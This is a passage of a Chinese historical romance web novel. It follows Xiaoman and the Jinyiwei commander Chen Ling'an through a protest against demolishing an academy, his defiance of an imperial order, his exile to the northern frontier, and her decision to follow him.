又因各种原因, 能赶到现场保护书院的人还不十个。 小满悄悄找到李麟, “官兵就在山下, 我上来的时候看见了。” 李麟面色立刻凝重起来,“是府衙的兵, 还是锦衣卫的兵?” “五城兵马司的。”小满说, “没见有穿飞鱼服的人。” 李麟吁口气,明显放松不少, 不是锦衣卫就好,其他衙门多少都会顾及官声,不会下死手对付他们。 他看看小满身后, “陈姑娘呢?” 小满眉头暗挑,扫量他两眼说:“我没让她来,把她关家里了。” 李麟眼中闪过一抹诧异。 “你大约听过她的事,”小满一边说, 一边暗暗观察他,“今天这里肯定会闹起来,人多口杂,我不想她听见任何乱七八糟的话。” 李麟怔楞了会儿才结结巴巴说:“一时没想到,啊,不,不是故意疏忽她……唉,我真不该问。” 小满笑笑,刚要说话,却察觉有人在看自己。 她凭着感觉回望过去,竟是刘瑾书! 李麟也发现刘瑾书的身影了,还和他们一样穿着白色的襕衫,这让他有点吃不准刘瑾书的意思,“你……” 相较他,刘瑾书倒更显得从容镇定,“我反对禁毁书院,任由事态发展下去,于圣名委实无益。” 李麟:“你公开和刘阁老叫板,不怕他难做吗?” 刘瑾书淡然一笑,“我早上书反对我父亲了,你不知道?” 知道,但以为你父子做戏呢!李麟摸摸鼻子,不管怎么说,多一个人,就多一分力。 刘瑾书看向小满,“你回去,你一个女孩子来这里做什么。” 小满才不听他的:“你管我!” 刘瑾书轻轻叹口气,“谁也不敢保证今日不起冲突,刀剑无眼,一会儿乱起来,大家自顾不暇,难免有人冲撞你。” 李麟也劝:“这话在理……”他不知道用什么称呼小满比较好,不知道姓,又不好直接叫名字,想了想干脆略过去,“有我们几个冲锋陷阵就足够了。” 小满满心记挂着书院的安危,任凭他们怎么说都不肯走。 见她如此顽固,刘瑾书语气登时变得严厉:“这是朝廷大事,关乎天下读书人,不是你和陈令安的私事。你不是读书人,也不是朝廷命官,出现在这里名不正言不顺。我们为的是公义,你为一己私利掺和进来,公事就成了私事,人们如何看待我们,我们又如何自处?” “更何况你和陈令安的关系,即便你不代表陈令安的意思,人们也会认为是他让你来的,没几个读书人愿意和他扯上关系的。但凡你站在这里,就有支持我们的人退缩,你信不信?” 小满一惊,不由自主看向另一边的其他人。 那几人的眼光有些躲闪。 她有点懵了。 “是我考虑不周,让姑娘受委屈了。”李麟不知道如何安慰她,“姑娘放心,我们一定会保住书院。” 小满眼神黯淡,“我不委屈,只要能保住书院,我怎样都可以。” 她出了力,最后却要和她撇清关系,李麟心里也不是滋味,“要不……姑娘就在一旁看着,千万不要出头,不是为避嫌,是为姑娘的安危着想。那几位肯来,肯定还记着陈山长的恩情,想必不会反对。” 刘瑾书皱起眉头,满脸不赞成,瞅一眼双眼放光的小满,到底没再说别的。 日头渐渐升高,书院门前慢慢聚集起不少看热闹的人。 “来了!官兵来了!”不知谁喊了声,所有人的视线齐刷刷往向书院门前的山道。 一大群官兵霍霍跑上来,马刺佩刀碰得叮当作响。 李麟刘瑾书对视一眼,招呼大家站在大门前,阻断了进书院的必经之路。 为首的校尉见状,抱拳叹道:“刘大人,李大人,各位儒生士绅,本官奉皇命拆除南翠书院,请各位让开,不要误了你们的前程。” 李麟这些人就是为了阻止他们的,岂肯相让?干脆席地而坐,大有你敢进书院,就从我身上踏过去的意味。 五城兵马司的人不敢硬上,领头的官差甚至给刘瑾书和李麟作揖,“大人别难为我们,我们也是听人吆喝,不如你们找我们司指挥,只要他发话,我们马上就走。” 没人理他,场面一时僵持下来。 校尉既不敢走,也不敢强行驱散,继续僵持更不是办法,叫过手下耳语几句,命他快回衙门请示司指挥。 那人走了还不到半刻钟,就慌慌张张跑回来,“大大大人,锦衣卫、锦衣卫来了!” 李麟心猛地一沉,暗道最担心的事情还是发生了。 锦衣卫代表着皇上,他们出现,意味着拆毁南翠书院绝无转圜余地。 果然,有人开始坐不住了,悄悄观察着其他人,眼中也露出胆怯惊惧的神色。 在看到锦衣卫出现的一刹那,这种恐慌达到了顶峰,甚至有按捺不住站起来想逃的。 小满看着那些锦衣卫,有认识的,有面生的,让她惊奇的是吴勇竟也在其中。 这么说,来的是北镇抚司的人,那个站在最前面,穿着飞鱼服一脸阴狠满目凶光的官儿是谁? 那个锦衣卫扫视一圈,“真不错,诏狱刚放了一批,空位多得很。我赵野可不管你们是世家子弟还是达官贵要,再不让开,我可不客气了。” 静坐的人中,又有三两个犹豫了。 “昔者仲尼与于蜡宾……”不知谁起了个头,背起《礼运大同篇》。 是刘瑾书!小满瞪大了眼睛。 他泰然端坐,声音缓慢而平稳,如山泉缓缓流淌,似乎面对的不是杀气腾腾的锦衣卫,而是国子监的学生们。 李麟微微一笑,随之开口吟诵。 又有更多的声音加入进来,那几个站起来的儒生重新坐下,表情肃穆安定。 阵风拂过,山林飒然而动,好像也在附和着他们。 锦衣卫一来,五城兵马司的官兵就自动退后三尺,见状不语,又自动退后三尺。 赵野暗恼,他是南镇府司同知,暂领北镇抚司,说是“暂领”,但差事干得好,就会是实打实的“兼任”。 如此一来,虽无锦衣卫指挥使之名,却有锦衣卫指挥使之实。 叫他如何不心动? 他下了命令:“吴勇,将这些犯上作乱者都抓起来!” 一直躲后头充当透明人的吴勇低低应了声,苦着脸,慢慢挪到前头,唉一声说道:“赵大人有令,我不得不从,赵大人可不像我们大人那么心软,他真敢剥皮抽筋去骨剔肉,诸位还是起来吧。” 赵野呵斥他:“罗里吧嗦说什么屁话,什么你们大人的,现在北镇抚司归我管,你不愿干,有的是人愿意干。来人,拿下!” 立时便有南镇府司的锦衣卫应声上前,挥着鞭子不由分说就是一顿抽打。 便是李麟也挨了好几鞭子。 眼见他们就要被绑走,锦衣卫就要冲入书院,小满发急,脑袋一热冲出来,“住手!” 吴勇大吃一惊,“你怎么在这里?” 小满护在李麟刘瑾书等人前面,“吴大哥,且缓缓不迟,禁毁书院的反对声太大,万一皇上收回成命了呢?” 吴勇苦劝道:“我的三姑娘诶,快别添乱了。你瞧见这些人没有,刘瑾书,首辅之子,李麟,新科状元,还有这几个,都是有功名有官身的,他们都不顶用,何况你一个无权无势的小姑娘?” 小满:“我知道我什么也不是,可至少,能让朝廷知道,反对禁毁书院的不只有官员,还有老百姓!” “一个小女子都不畏强权,我等儿郎岂能后退?”刘瑾书向人群中望了一眼,“那些受过前山长陈缙恩惠的人,此刻不觉得如芒在背么?” 看热闹的人群一阵骚动,接着便有三四人站了出来,不无惭愧道:“我们来晚了。” 须臾,又有人加入进来,“我们是其他书院的学生,唇亡齿寒,大家不能隔岸观火!” 小满提高声音,“好好的书院,为什么要拆掉,觉得老师讲的不好,换老师,加督学不可以?建起一座书院多不容易,就这样轻而易举毁掉,太可惜了!” 瞧着赵野越来越难看的脸色,吴勇暗叫不妙,急急道:“小满姑娘,快别说了,快走快走,晚了我可护不住你!” 然而已经晚了,赵野一巴掌扇在吴勇脸上,“好个吃里扒外的狗东西,合起伙来故意拖延,给我把他绑了!” 他又阴笑着看小满,“我可不像陈令安那般不解风情,小丫头,让爷好好疼疼你。” 刘瑾书大惊失色,挣扎着上前,“小满快跑!” 可他被锦衣卫牢牢摁住,只能眼睁睁看着赵野的手伸向小满。 小满想跑,可身后全是泛着寒光的刀锋,根本无路可逃。 “你想疼谁?” 一个熟悉的声音穿过层层刀光,清晰无比地落在在场众人的耳中。 赵野浑身一颤,竟然僵在了原地。 一切嘈杂的声音瞬间消失,连风也停了,人们不自觉屏住了呼吸,看向那个一袭红衣的男人。 阳光照在他身上,好像一团愤怒燃烧的火。 第67章 陈令安的目光是那样的冷, 冷得站在那里的南镇抚司锦衣卫一动不动,连刀锋也忘了收起来。 北镇抚司的人却像吃了一记猛药,一扫先前颓败之风, 挺胸凸肚,昂首阔步,霎时提足了精神。 他恰好站在小满和赵野中间, 神情倨傲看着赵野, “你刚才说什么,我没听清。” 赵野不由自主咽了口唾沫,没敢回答他的话。 “他说要好好疼疼三姑娘!”吴勇抢着回答,一把挣开反拧他胳膊的锦衣卫,指着左脸, 小眼睛眼泪汪汪的, “他还打我, 把我的脸都打肿了。” 陈令安嫌弃地瞥他一眼, “你不会打回去?” 打回去?吴勇眨巴眨巴眼,这倒是他未曾设想过的道路!他瞅瞅脸色铁青的赵野, 可这位比他官职高, 和大人同级,他……打得吗? 此时陈令安又冷冰冰道:“怂蛋, 北镇抚司的脸都叫你丢光了。” 一听这话,吴勇撸起袖子,气势汹汹走向赵野。 赵野厉声呵斥自己的部下, 南镇抚司的锦衣卫方如梦初醒般护在他身前,手里的刀也对准了陈令安等人。 不等陈令安发话,北镇抚司的锦衣卫刷刷刷抽出腰刀,毫不示弱逼杀回去。 锦衣卫针对抗议儒生文臣的抓捕行动, 登时变成一场锦衣卫内部的冲突。 赵野惊怒交加,大声喝道:“本官奉钦命暂领北镇抚司,你们还不快放下刀,不然休怪本官翻脸不认人了!” 陈令安淡淡道:“皇上说的是‘陈令安不在期间’,现在我来了,你可以带着你的人滚了。” “你难道要包庇这些人?”赵野眼珠一转,马上拔高声音,“陈令安,你胆敢抗旨?好好好,你领着北镇抚司的人对抗圣意,待我禀明皇上,有你好果子吃!” 他狞笑着向前一步,“别想抵赖,今日在场的都是证人。” 寒光闪过,陈令平的刀稳稳入鞘。 咔嚓,赵野头上的鹅帽应声而落。 陈令平的刀尖但凡再向下一分,落下的就是赵野的人头了。 赵野惊得连连后退,好容易才在手下的搀扶下站稳脚。 “你、你……我要参你,狠狠参你,你等着死吧!”他语无伦次发狠话,“你也想保护书院?做了十年的走狗、奸贼,还想洗清污名?做梦!” 赵野推开手下,一指陈令安,“你睁大眼睛瞧瞧,瞧瞧你的背后,你以为你帮了他们,他们就会感谢你?就会把你当成朋友?好好看看,他们恨不能离你远远的!” 小满忍不住回头去看。 他们身后,是一大片空地,方才还聚集在门前的文人们,除了李麟和刘瑾书,竟全都远远站在了另一边。 小满的心像被蝎子狠狠螫了一下。 她看向李麟。 李麟紧抿嘴角,表情严肃,刚要上前,却被刘瑾书拉住了。 “你想让后面这些人失望吗?”刘瑾书低声道,“我们不单为保护南翠书院,我们是为了天下所有的书院发声,必须要争取更多读书人的支持。” “而陈令安,是读书人的公敌,你和他站在一起,让其他人怎么想?” 刘瑾书叹口气,“我们是为着公义,他是一己私欲,如果今天禁的不是南翠书院,是其他书院,他还会站出来阻止吗?” 李麟全身猛地一震。 不,陈令安会第一个冲出来拆毁书院,都不用皇上明发旨意! 他的刀会对着他们这些抗议的人,他的部下会把他们一个个抓进诏狱,今天赵野做的事,他统统会做,甚至有过之而无不及。 “道不同不相为谋。”刘瑾书轻声道,“陈令安和我们走的始终不是一条路。” 李麟错开小满恳切的目光,随刘瑾书走入属于他们的队列。 夏阳依旧灿烂,白亮亮的日光照在小满身上,冷得小满禁不住打了个寒颤。 山风卷起浮尘裹进青石板的甬道,陀螺似的打着旋儿,陈令安的袍角被风撩起老高,又倏然落下,沉浮不定。 他负手而立,身姿笔挺,没有回头。 小满悄悄拉他的衣袖。 陈令安还是没回头,手指却轻轻擦过小满的手,似是在安慰她。 小满鼻子发酸,眼睛热辣辣的疼。 “赵大人似乎误会了什么,我不需要任何人的感激,这些人……”一抹淡淡的轻蔑的讪笑浮现在陈令安的嘴角,“也不配做我的朋友。” 赵野脸上的肌肉难看地抽动了一下,“你今日拦下我,别以为这事就了了,锦衣卫靠什么活着你比我更清楚!我把话放这儿,最多一个时辰,宫里必有拿你的旨意!” 陈令安淡然说:“不劳操心,我自会向皇上领罪。” 赵野恨恨一挥手,“走!” “慢着。”陈令安扯扯嘴角,眼中闪出杀气,“我这里可不容许赊账。” 赵野一愣:“什么?” 陈令安瞥一眼吴勇,意思很明确:打不掉他半口牙,你就回家抱孩子去,不必回来了。 吴勇瞅瞅他身后的小满,知道他是说真的,立时以迅雷不及掩耳之势冲到赵野跟前,在所有人都没反应过来时,一拳正中赵野鼻梁! 但听砰、咯嚓,赵野脸上是鲜血迸流,鼻梁断了,眼框裂了,他“哇”的吐出口血,好几颗断掉的牙齿也扑的落在地上。 好歹顾忌官体威严,没当着一众手下连声惨叫满地打滚。 他捂住口鼻,愤恨地指着陈令安,眼中几欲喷出火来。 却是一声也说不出来。 南镇抚司的人你看看我,我看看你,面对北镇抚司的森森寒光,没一个人上前叫阵。 赵野气极,恨极,却毫无办法,只得“忍辱负重”给陈令安一个“咱们走着瞧”的眼神。 简直窝囊至极! 吴勇本想痛打落水狗,给南镇抚司来上几句好听的。 转念一想,今儿个上峰实打实地抗旨了,还不知道他们自己会有什么惩戒,赶明儿就是人家笑话自己。 顿时也没了笑话别人的心思。 有同样想法的人不止他一个,北镇抚司的将士们都望向陈令安,希翼从他这里得到一个让他们心安的回答。 果然,他们一向从容的头领这次也没让他失望。 陈令安道:“你们回衙门待命,皇上那里有我,一个个的给我打起精神,天,塌不下来。” 北镇抚司的人齐齐松口气,气氛瞬间活泛起来。 陈令安斜着眼睛扫向刘瑾书等人,那表情似乎在说:就凭你们几个废物点心,也想成事? 那些人登时爆/炸。 陈令安丝毫不理会他们的怒骂,留下一记轻蔑白眼,转身悠悠然离开。 吴勇等也嘲笑他们一番,互相打打闹闹地去了。 “还留在这里干什么,巴巴地送上门来让人嘲笑!”一个儒生拂袖而去,紧接着第二个、第三个…… 不多时,南翠书院门口就剩刘瑾书与李麟二人了。 “走吧。”刘瑾书低声道。 李麟怀着无限惆怅的心情说:“怎么会这样,你说,他是不是故意的,故意支开我们?” 刘瑾书的眼神飘向书院的上空,“谁知道,或许吧。” “我们就这样回去?”李麟叹口气,很不甘心。 刘瑾书垂下眼帘,语气变得晦涩难辨,“瞧今天的架势,这只是开始,南翠书院大概保不住了,一石激起千层浪,我们要尽快把消息散布出去……” - “保不住?”小满吃惊地看着陈令安,心底蓦地升起一股不安。 陈令安目光沉沉望着书院的方向,“书生意气,硬碰硬是最不可取的,他们能威胁得了朝中大员,却威胁不了皇上,反而会激得皇上采取更强硬的手段。” 小满懊悔得快哭了,“我帮了倒忙!全怨我!” “你有什么错?”陈令安失笑,“法子是李麟那些人想出来的,你不过给了一份可能会声援书院的名单。” “当今心智坚定,旨意一旦下达,绝不会收回。不管有没有今天这出,南翠书院都会被禁毁,李麟刚涉足官场,根本想不到这点。” 小满呆了呆,忽然反应过来,“刘瑾书常伴御前,他肯定想得到!” 陈令安微微颔首,算是同意她的看法。 “那他为什么还来,还鼓动大家对抗朝廷?” “谁知道呢,或许有什么我不知道的好处吧。”陈令安宽和一笑,显得格外温柔,“你别想着他啦,我要进宫请罪去了,多想想我。” 小满再也忍不住,眼泪噼里啪啦往下掉,“皇上对原谅你的对吧,顶多骂你一顿,罚几年俸禄,对吧。我真是、真是太蠢了,我不瞎搅合就好了。” “别哭。”陈令安俯身,微微偏着头看她,手指极其温柔地抹去她脸上的眼泪。 “我很感谢你,你做了我想做却不敢做的事,谢谢你,小满,谢谢你保护我父亲的书院。” 谢谢你保护我最美好的一段记忆…… 你知道吗,看到你差点撞上刀锋的那个瞬间,我全身的经脉都要炸开了。 记忆再如何珍贵,也是曾经,我不能一直被过去困住。 是时候走出来了。 陈令安慢慢地靠近小满,“你不是问过我喜不喜欢你么?” 小满屏住了呼吸。 “我喜欢你,喜欢得不得了。” 第68章 “这可怎么了得?”蒋夫人忧心忡忡, 又往窗外望了望,“这可怎么了得啊!” 回廊下,小满独自一人倚柱靠坐, 不哭也不笑,一双明洁的大眼睛只是盯着灰蒙蒙的天空发呆。 方妈妈无声叹息。 昨儿个从书院回来,姑娘就不大对劲了, 一会儿哭, 一会儿笑,问什么也不说,连饭都不吃。 上次不吃饭,还是和陈令安闹翻那回。 今儿前晌侯府姨太太送信儿来,她们才知道小满办了件惊天动地的大事, 连皇上都知道了, 还调侃了秦世子几句。 蒋夫人愁得眉心都快长竖纹了, “朝廷不会抓小满吧, 哎呀,你说这孩子, 瞒得可真紧。” “不会, 要抓昨天就抓了,不会等到现在, 再说了,那么多抗议的儒生都没抓,单抓一个小姑娘也太不像话了。”方妈妈安慰道, “皇上既有心情调侃平阳侯世子,就不会难为咱家小满。” 蒋夫人想了想,点点头道:“也是,我是关心则乱了。唉, 就怕陈令安过不了这个坎……” 这下方妈妈也找不出话劝慰她了。 两人一起看着小满叹气。 一阵凉风拂过,碎花如雨,纷纷飘落。 小满张开手,手心里躺着一片发黄卷边的玉兰花瓣,这是昨天分开时,陈令安交给她的。 也不知在他手里握了几天,早没了花香,只有淡淡的花木腐烂的味道。 他说:“这是我父亲在书院里种的广玉兰,你代我把这片花瓣埋在树下吧。” 说完他就进宫去了,连拒绝的机会都没给她。 南翠书院由团团官兵把守着,她没办法进门,只能带回家。 小满呆呆看着那片几欲腐烂的花瓣,忽站起身,翻箱倒柜找出个小锦盒,珍之重之把花瓣放了进去。 门外一阵噼里啪啦的脚步声,锦绣一头撞进来,“姑娘——” 小满的手一颤,锦盒差点掉地上。 “吴、吴大人来了。”锦绣喘着粗气说。 小满忙往外走,“陈令安有消息了?快请进来!” 锦绣跟在后面急急道:“人已经走了,皇上把他调离北镇抚司,不日离京。他还说陈大人状况不好,皇上发了很大的脾气,这回估计过不去,如果姑娘有路子,还请姑娘早点招人捞陈令安。” 小满脚步一顿,身子无力滑落。 “姑娘!”锦绣惊叫着扶住她,庭院另一边,蒋夫人和方妈妈也慌乱地跑过来。 蒋夫人满脸煞白抱住小满,眼泪随之扑簌簌滚落,“别怕,别怕,娘有的是银子,咱们卖房子、卖地,就是倾家荡产也要把陈令安救出来。” 小满咬牙,努力挣扎着站起身,现在不是她流露柔弱的时候,她得坚强,她得坚持住。 “我去找林姨。”小满深吸口气,“她肯定有办法。” “没用的,这回谁都救不了他。”穿堂传来一个黯然的男声。 小满吃惊地望着何平,“什么意思?” 何平一改往日嘻嘻哈哈的不正经模样,神情肃穆得让小满害怕。 “我和老师听到消息就去求情了,可皇上依旧不见。”何平眉头紧锁,语气分外沉重,“此次不同以往,他抗旨是板上钉钉的事,他还是锦衣卫,还是心腹……唉。” 陈令安此举无异于背叛,越亲近的人,越容不得背离,比起其他官员抗旨不遵,皇上是出离的愤怒了。 小满的声音颤抖得厉害,“可、可是他替皇上干了那么多,偶尔一次不听命,就容不下他了?” 何平苦笑道:“皇上也没亏待他,小满,这话不要再说,于你,于他,都没好处。” “他会死吗?” “不知道。皇上一点口风不露,那天大殿里就陈令安和皇上两个人,吕总管都没在跟前此后,谁也不知道他们说了什么。殿外的宫人只说皇上暴怒,别的再也打听不出来。” “就没一点法子?”蒋夫人眼泪止不住往下流,她简直不敢想象,如果陈令安有个万一,小满可怎么活! 何平望天叹道:“只能听天由命了。” 轰隆隆,灰暗的苍穹下,雷声像沉重的车轮碾过冰层似地滚动着逼近,屋脊都被撼得瑟瑟发抖,转瞬间,大雨倾盆而下。 大雨直直下了一天一夜,天刚放晴,就传来了南翠书院被拆毁的消息。 紧接着,是城西的西凉书院。 金陵的其他书院惶惶不可终日,恐慌的气氛迅速在文人士子中传开,当然也不乏人反对,有诸如李麟刘瑾书这样直言谏诤的,也有阳奉阴违使拖字诀的,渐渐的,反对禁毁书院的声音越来越大了。 小满已无力关心这些。 悬在头上的那把刀终于落了下来,陈令安削官抄家,发配燕北戍边。 好歹保住一条命! 蒋夫人双手合十不停念佛,“活着就好,活着就好,钱财都是身外之物,没了再挣,人活着才是根本!” 陈砚宁抱着两匣子来了,“干娘,姐姐,今早突然有人把这些送到林园,指名是给我和姐姐的添妆,你们快瞧瞧。” 匣子上都贴着封条,一个写着砚宁,一个写着小满。 打开一看,里面是厚厚一摞银票,粗略数数,竟有百万数之多! 陈砚宁蓦地反应过来,“是二哥!” 小满呆滞片刻,一时又气又恼又心疼,“添妆?他发什么疯,前脚说喜欢,后脚就让我嫁人,他休想!” 她啪地合上盖子,“我决定了,我要和他去燕北。” 什么?!蒋夫人惊得非同小可,“燕北是苦寒之地,边境还不太平,你不能去!” “我知道你舍不得他,可你不能脑袋一热连家都不要了,他那么精明的人,肯定不会自绝后路,你且在这里安心等着,等他东山再起的那日。” 蒋夫人紧紧抓着小满的胳膊,目不转睛地盯着她,好像一眨眼她就会消失似的。 小满跪下来,“母亲,我等不了了,我等了他九年,好不容易重新见到他,好不容易才等到他那句话……我等不了第二个九年。” 慢说流放之路有多苦,就是平安到了燕北,也是危机四伏,她若不跟着,陈令安这一去,怕是永别。 “女儿不孝,求母亲成全!”小满重重叩头。 “你……”蒋夫人缓缓闭上眼睛,“你一向主意大,决定了就会去做,我拦不住你。好,好,干脆我也去,咱们全家都去!” 此话一出,满座皆惊。 小满结结巴巴说:“母亲没必要吃这个苦,您在南方长大,早适应了这里的生活,北边的气候、吃食什么的,都和南边不一样。” 蒋夫人斜睨她一眼,“你娘身子骨好着呢,爬山骑马均不在话下,再说我早想去北边走走看看了,正好有现成的理由,不用白不用。你也别跪着了,快起来收拾东西。” 小满吸吸鼻子,红着眼睛起身。 陈砚宁也想随她们一起走,小满蒋夫人齐齐摇头,“你身子骨弱,经不起长途跋涉,二来你还得跟着林夫人读书,这是顶顶重要的事。” 陈砚宁低着头,“哥哥遭此大难,我岂能袖手旁观,只顾自己逍遥快活。” 小满:“你逍遥快活地过日子,你哥才会高兴。听话,好好陪在林夫人身边,让你哥放心。” 陈令安沦为阶下囚,没能力保护妹妹了,此去路途遥远,她们母女能自保就算烧高香,也没精力照顾体弱的陈小妹,带上她,还不知道要在路上盘桓多少时日。 小满不便点透这层意思,只是苦劝她留在金陵。 大约陈砚宁也慢慢想到了,无可奈何点了头。 小满和蒋夫人都是雷厉风行的性子,说干就干,立马收拾东西,能带走的带走,带不走的就卖掉,连住的房子都委托牙行挂卖上了。 蒋家东西多,收拾起来可要好几天,小满等不急,打算先走。 锦绣要跟着她,她不让,“我打小漫山遍野跑惯了,走路对我来说根本不叫事,你不行,在深宅大院长大,脚底板都是软的,只会拖累我!” 蒋夫人准备的马车她也不要——叫押送陈令安的差役看了怎么想?看看情况,路上再雇轿雇车也来得及。 就这样,她一个人候在城门口。 夕阳缓缓放射着光芒,整个世界像被谁提笔蘸了玫瑰紫抹了一遍,到处都五彩缤纷,金光灿灿的。 在无与伦比的美丽华盖之下,陈令安看到小满独自坐在道旁,抬头对他莞尔一笑,“你要负责任哦!” 第69章 陈令安盯着言笑晏晏的小满, 好半天才生硬地说:“你来——” “我来干什么?当然是和你一起去燕北!”小满张口打断他的话,“你别想劝我,不管用, 腿长我身上,我想去哪儿就去哪儿。也别说燕北苦寒,宣府乡下更苦寒, 我不也好好活了十来年?至于什么拖累的话, 更是提都不要提,没你我坟头的草都一尺高了,跟着你才是最稳妥的!” 她小嘴叭叭叭一通说,堵住了陈令安所有的话。 小满呼的舒口气,脸上飞起点点难为情的红晕, “你送来的聘礼我收下了, 你想反悔可不能了。” 陈令安垂眸看着她, 嘴角稍稍上扬, 弧度不大,顶多叫微笑, 可眼中仿佛永远也淌不尽的笑意, 明明白白地表达了他现在的心情。 因而那声低低的“好”,比暮风还要柔和。 小满抿嘴一笑, 热情而熟练地塞给两个押狱每人一个大红封,“两位大哥,我不会耽误行程, 还请行个方便。” 年长的押狱一瞧,嘿,二百两银票!不由内心一阵狂喜,面上还矜持着说:“我们要在秋分前赶到, 姑娘好歹走快点。” 小满的视线落到陈令安肩膀上的木枷,又赔笑道:“两位大哥,都出城了,这木枷能不能去掉?反正他也跑不了。” “这……”两个押狱互相看看,犹豫不决。 却听一阵马蹄车轮声响,城门内驶出一辆马车,何平坐在车辕上,手里的鞭子在空中甩得啪啪响。 “可算赶上了!”何平跳下马车,转身扶蒋夫人和陈小妹下车。 小满瞪大眼,说好不让他们送,怎么还是来了? “放心,不是抓你回去的。”蒋夫人一眼看穿她的心思,“我左思右想,还是不能就叫你这样走。” 她掀开车帘,指着车厢里一个包袱道:“这是点心、烧饼、葱油饼等方便携带的吃食,路上不见得有打尖的地方,你得拿着。” 小满一看那鼓鼓囊囊小山似的大包袱,立马摇头,“快算了,我可背不动。” “有马替你背着。”何平解下拉车的一匹马,费力地把包袱搬到马背上。 陈砚宁一看哥哥带着枷锁的样子就受不了了,拉着哥哥的袖子哭得上气不接下气。 何平瞥一眼那两个押狱,咳咳两声,不乏威仪道:“把木枷卸了。” 年轻的押狱不认识他,待要喝问,不妨旁边年长的抢先笑道:“我们正要卸,可巧公子就先吩咐了。” 说着,就开了枷锁。 陈令安活动活动手腕,低声安慰妹妹好一阵子,直到她终于止住哭声,方走过来对蒋夫人再三道谢。 蒋夫人心里也着实不好受,絮絮叨叨叮嘱他,什么天凉加衣服呀,多喝水别上火呀,如今人在屋檐下收敛点性子呀……足说了一刻钟还没说完。 自打少时家变,再没人和陈令安这样说过话,他一时很不习惯,竟有点不知如何是好的样子。 小满低头暗笑几声。 蒋夫人这才反应过来,擦擦眼泪,故作严厉道:“我也不求别的,我家小满算是交给你了,他日相见,要是少根头发丝,我拿你是问。” 何平在旁咋呼,“小安安,以后给我妹子梳头的时候可要仔细数清楚喽!” 陈令安被他闹得头痛,“你可以回去了。” “太不够意思了,用完就扔。”何平挤出个哭脸,活像个被抛弃的受气小媳妇,看得陈令安一阵恶寒。 眼看时候不早,那年长的押狱上前道:“不是小人多嘴,再不走,天黑之前就赶不到城郊的驿站了,我们露宿野外没事,只怕这位姑娘不方便。” 陈令安点点头,便与蒋夫人等道别。 眼看陈小妹的眼泪又要连成线,何平一指天边火一样的落日,“小安安,张开双臂,迎着夕阳奔跑吧!” 陈令安眉棱骨直跳,“我为什么要张开双臂迎着夕阳奔跑?有病!” “拥抱新生活嘛!表示你重拾信心活力四射、洗心革面重新做人。” “那也该迎着朝阳……呸!快滚吧你。” 陈令安扭头就走,他是一刻也不想再见到这位间歇性脑子抽筋的大哥了! 把蒋夫人看得忍俊不禁,就连陈砚宁都破涕为笑。 离别的伤感一扫而光。 年轻的押狱悄悄问:“牛哥,这人谁呀?疯疯癫癫的。” 老牛笑道:“他都不认识?去年跨马游街的榜眼,林亭先生的关门弟子,拒绝皇上给的官儿,不但没获罪,反而成了皇上身边的红人。小马呀,做咱们这行,可得看清楚这些个囚犯背后都有谁。” 小马奇道:“照老哥看,莫非陈令安还有出头之日?” 老牛:“谁知道,管他出不出头,咱拿了人家的钱,就别难为人家——陈令安又和咱没仇,等到了地方再给他锁上呗。” “他会不会跑?” “你可真够……你太不了解陈令安了。”老牛望着前面的人暗暗叹息,“他妹子、他那小媳妇一大家子人呢,怎么可能跑?我之前在江宁县衙当差,郑大人评价他,看着冷酷无情,其实谁对他有丁点好,有丁点的善意,他都会记在心里。” 小马摸摸后脑勺,一脸不可置信。 老牛拍拍他的肩膀,快步追上前面的两人一马。 来而不往非礼也,这两位押狱客气相待,小满当然也不会吝惜银子,一路上好吃好喝伺候着,打尖住店都挑最好的客栈。走累了,雇骡车雇船也不在话下,因而路上走得分外平顺。 时值金秋,越往北走,越觉得天高地广,草树连绵,阵风吹来,云动树摇,真是让人心旷神怡。 小满长舒口气,“在金陵住了一年多,繁华胜地的确不错,可我还是喜欢北方这清清爽爽的风,放眼望去看也看不到头的大地。这是到哪里了?” 陈令安笑道:“保安县,怎么连这里都不认识了,宣府南下的必经之路,你绝对走过。” 小满一下子兴奋了,“保安县紧挨着宣府,咱们可以回家看看!” 陈令安道:“恐怕不行,我要去怀安卫服役,时间不够咱们绕道。” 小满一阵失望,旋即又笑:“反正离得近,以后想去随时都能去。” 那俩押狱对视一眼,没给她泼冷水:他是戴罪之身,等闲不许离开驻地,再者,发配充军的人,进了卫所,有事没事先挨一顿杀威棒,有门道的给个喂马看马厩的差事干干,没门道的就等着脏臭累的泔水活吧。 还不知道到时候怀安卫什么意思呢! 天色渐晚,前面有个村子,各色炊烟袅袅,隐隐还能听见小孩子们的嬉戏声,还有妇人呼儿唤夫吃饭的吆喝声。 老牛提议在这个镇子歇脚,一行人都没异议。 这个村子约有百十户,村东口有家小酒馆,正好有三间空房。 掌柜的是对老夫妇,一边上酒菜,一边笑:“真是来得早不如来得巧,刚到镇上换了酒和肉,几位就来了。” 小满瞧着鸡鸭鱼肉样样都有,不由好奇问:“这村子的人很有钱吗?我们村只有过年才舍得买些肉吃,不年不节的,吃顿白面馍馍都不容易。” 掌柜的笑道:“往常村里人也舍不得,今年是收成好,足足多打了三成粮,辛苦一年,吃点好的也是应该的。” 几人都累了,一时饭罢,各自回屋休息。 陈令安依旧坐在小满门口。 这一路上,除了驿站和大客栈,陈令安会进自己房间休息。如这等僻远的乡野小客栈,陈令安都会守在小满门前。 连着几晚他都没有躺下休息了,小满实在心疼,但知道劝他他也不会听,一横心拉开门:“你进来睡。” 陈令安看看她,又看看屋子里仅有的一铺炕,摇摇头。 小满厚着脸皮说:“那么大的炕还睡不下两个人?怕什么,反正都知道我是你没过门的……哼,我又不是老虎,不会吃了你。” 烛光映着她的脸,更显得绯红如晕,娇艳得好像露润的玫瑰。 陈令安喉结微微滚动一下,还是生硬地拒绝了。 在门外他好歹能眯一会儿,在里面,恐怕他一整宿都别想睡着。 小满到底不好意思生拉硬拽,小脚一跺,“你就犟吧,遭罪的是你自己。” 哗啦,门关上了。 哗啦,门又开了,一条棉被扔出来,不偏不倚罩在陈令安头上。 哗啦,这回门是彻底关上了。 陈令安呼出口气,慢慢把棉被从头上扯下来,裹紧。 和金陵不同,北地九月的夜晚已经很凉了,到了冬天只会更冷,保安卫条件艰苦,即便有炭火,也是先紧着卫所官员用,普通人有钱也不见得能买到。 总不能叫小满陪他吃这个苦。 他闭上眼,仔细想着保安卫的每一个官员,想了又想,却发现没一个能说得上话的。 不禁有些懊恼,以前一门心思报仇,从不在乎得罪谁,如今再想烧香拜佛,却连山门都进不去了。 困意袭来,脑子开始变得迷迷糊糊的。 是做梦么,大地在颤抖,地面在摇晃,灰尘和碎石砸在身上,耳边全是冲杀的嘶吼,他似乎又回到在军中的那段日子。 不对! 